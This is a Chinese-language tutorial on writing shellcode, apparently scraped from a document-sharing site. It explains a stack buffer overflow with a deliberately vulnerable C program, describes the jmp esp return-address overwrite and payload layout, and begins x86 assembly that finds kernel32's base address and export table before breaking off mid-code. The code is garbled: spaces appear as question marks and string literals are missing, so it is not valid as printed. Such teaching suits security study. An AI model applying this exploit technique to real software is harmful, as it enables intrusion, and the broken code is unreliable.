- 1、本文档共8页,可阅读全部内容。
- 2、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
- 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
查看更多
Shellcode的原理及编写
1.shellcode原理
Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务的。 Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。网络上数以万计带着漏洞顽强运行着的服务器给hacker和Vxer丰盛的晚餐。漏洞利用中最关键的是Shellcode的编写。由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode,因此掌握Shellcode编写技术就显得尤为重要。
如下链接是shellcode编写的基础,仅供参考
?/uidid-3506660.html
缓冲区溢出的shellcode很多了,这里重现下缓冲区溢出。
[cpp]?view plaincopy
int?fun(char?*shellcode)??
{??
????char?str[4]=;//这里定义4个字节??
????strcpy(str,shellcode);//这两个shellcode如果超过4个字节,就会导致缓冲区溢出??
????printf(%s,str);??
????return?1;??
}??
int?main(int?argc,?char*?argv[])??
{??
??char?str[]=aaaaaaaaaaaaaaaaaaa!;??
??fun(str);??
??return?0;??
}??
如上程序,会导致缓冲区溢出。
程序运行后截图如下
如上可以看出来,异常偏移其实自己观实就是aaaa的Hex编码
因为调用函数的过程大致是
1:将参数从右到左压入堆栈
2:将下一条指令的地址压入堆栈
3:函数内部的临时变量申请
4:函数调用完成,退出
内存栈区从高到低
[参数][ebp][返回地址][函数内部变量空间]如上程序,如果函数内部变量空间比较小,执行strcpy时候,源字符串比目标字符串长,就会覆盖函数返回地址,导致程序流程变化
如图
0048FE44前四个00是str申请的四个字节的并初始化为00,后面的48FF1800是函数的返回地址,再后面的411E4000是ebp,既调用函数的基址。
再往下执行strcpy函数后,可以看见aaaaaaaa覆盖了返回地址
如图
可以看见0018FF44地址后面的函数返回地址和ebp都被61填充了。
fun函数执行完后,返回调用fun函数地址时候,导致程序报错。
缓冲区溢出的简单讲解如上,这时候,如果我们把返回地址改成我们自己的函数地址,不就可以执行我们自己的程序了?
缓冲区溢出利用就是把返回地址改成我们自己的函数地址,上面的方法就是覆盖eip,既返回地址,还有一种方法是覆盖SHE,原理差不多。
了解了基本原理,下面可以编写利用的代码
缓冲区溢出,基本的使用方法是jmp esp,覆盖的eip指针是jmp esp的地址,利用的字符串结构如下
[正常的字符串][jmp esp的地址][执行的代码(shellcode)]
关于获取jmp esp的代码,可以自己写个程序,从系统中查找jmp esp代码0xFFE4。
下面开始编写shellcode以及调用实现
[cpp]?view plaincopy
void?fun()??
{??
????__asm??
????{??
?????mov?eax,?dword?ptr?fs:[0x30];??
?????mov?eax,?dword?ptr?[eax+0xC];??
?????mov?eax,?dword?ptr?[eax+0xC];??
?????mov?eax,?dword?ptr?[eax];??
?????mov?eax,?dword?ptr?[eax];??
?????mov?eax,?dword?ptr?[eax+0x18];??
?????mov?ebp,eax????????????????????????//Kernel.dll基址??
?????mov?eax,dword?ptr?ss:[ebp+3CH]??????//?eax=PE首部??
?????mov?edx,dword?ptr?ds:[eax+ebp+78H]??//??
?????add?edx,ebp????????????????????????//?edx=引出表地址??
?????mov?ecx,dword?ptr?ds:[edx+18H]??????//?ecx=导出函数个数,NumberOfFunctions??
?????mov?ebx,dword?ptr?ds:[edx+20H]??????//??
您可能关注的文档
- 2013新课标1卷试题分析(教育部考试中心).doc
- 2014年世界环氧丙烷的产能.docx
- 2014年河南专升本生理学病理解剖学真题.docx
- 2014年安徽省高考理综化学试题含答案.doc
- 2014年高考理综化学安徽卷试卷分析.doc
- 2014广东各地高考模拟试题汇编有机化学合成.doc
- 2014药化实验1-3.doc
- 2015-2016学年人教版九年级化学上册期末“化学实验探究”专题复习及解析.doc
- 2015-2016高一地理试卷.doc
- 201512高一地理月考试题.doc
- 2025年江西井开区青原产业园博能直融数据科技有限公司招聘笔试参考题库附带答案详解.pdf
- 2025年安徽中电科技(合肥)博微信息发展有限责任公司招聘笔试参考题库附带答案详解.pdf
- 2025年四川眉山市彭山区交通建设投资工程有限责任公司招聘笔试参考题库附带答案详解.pdf
- 2025年安徽宣城市旌德县国有资产投资经营有限责任公司招聘笔试参考题库附带答案详解.pdf
- 2025年浙江湖州市南浔区国有资产投资控股有限责任公司招聘笔试参考题库附带答案详解.pdf
- 2025年山东潍坊市安丘市青云城市建设投资发展有限公司招聘笔试参考题库附带答案详解.pdf
- 2025年安徽宿州市泗县致和新农村建设投资有限责任公司招聘笔试参考题库附带答案详解.pdf
- 2025年云南保山龙陵县飞扬城乡一体化开发有限责任公司招聘笔试参考题库附带答案详解.pdf
- 2025年浙江舟山国家远洋渔业基地建设发展集团有限公司招聘笔试参考题库附带答案详解.pdf
- 2025年河北石家庄高新技术产业开发区城建工程有限公司招聘笔试参考题库附带答案详解.pdf
文档评论(0)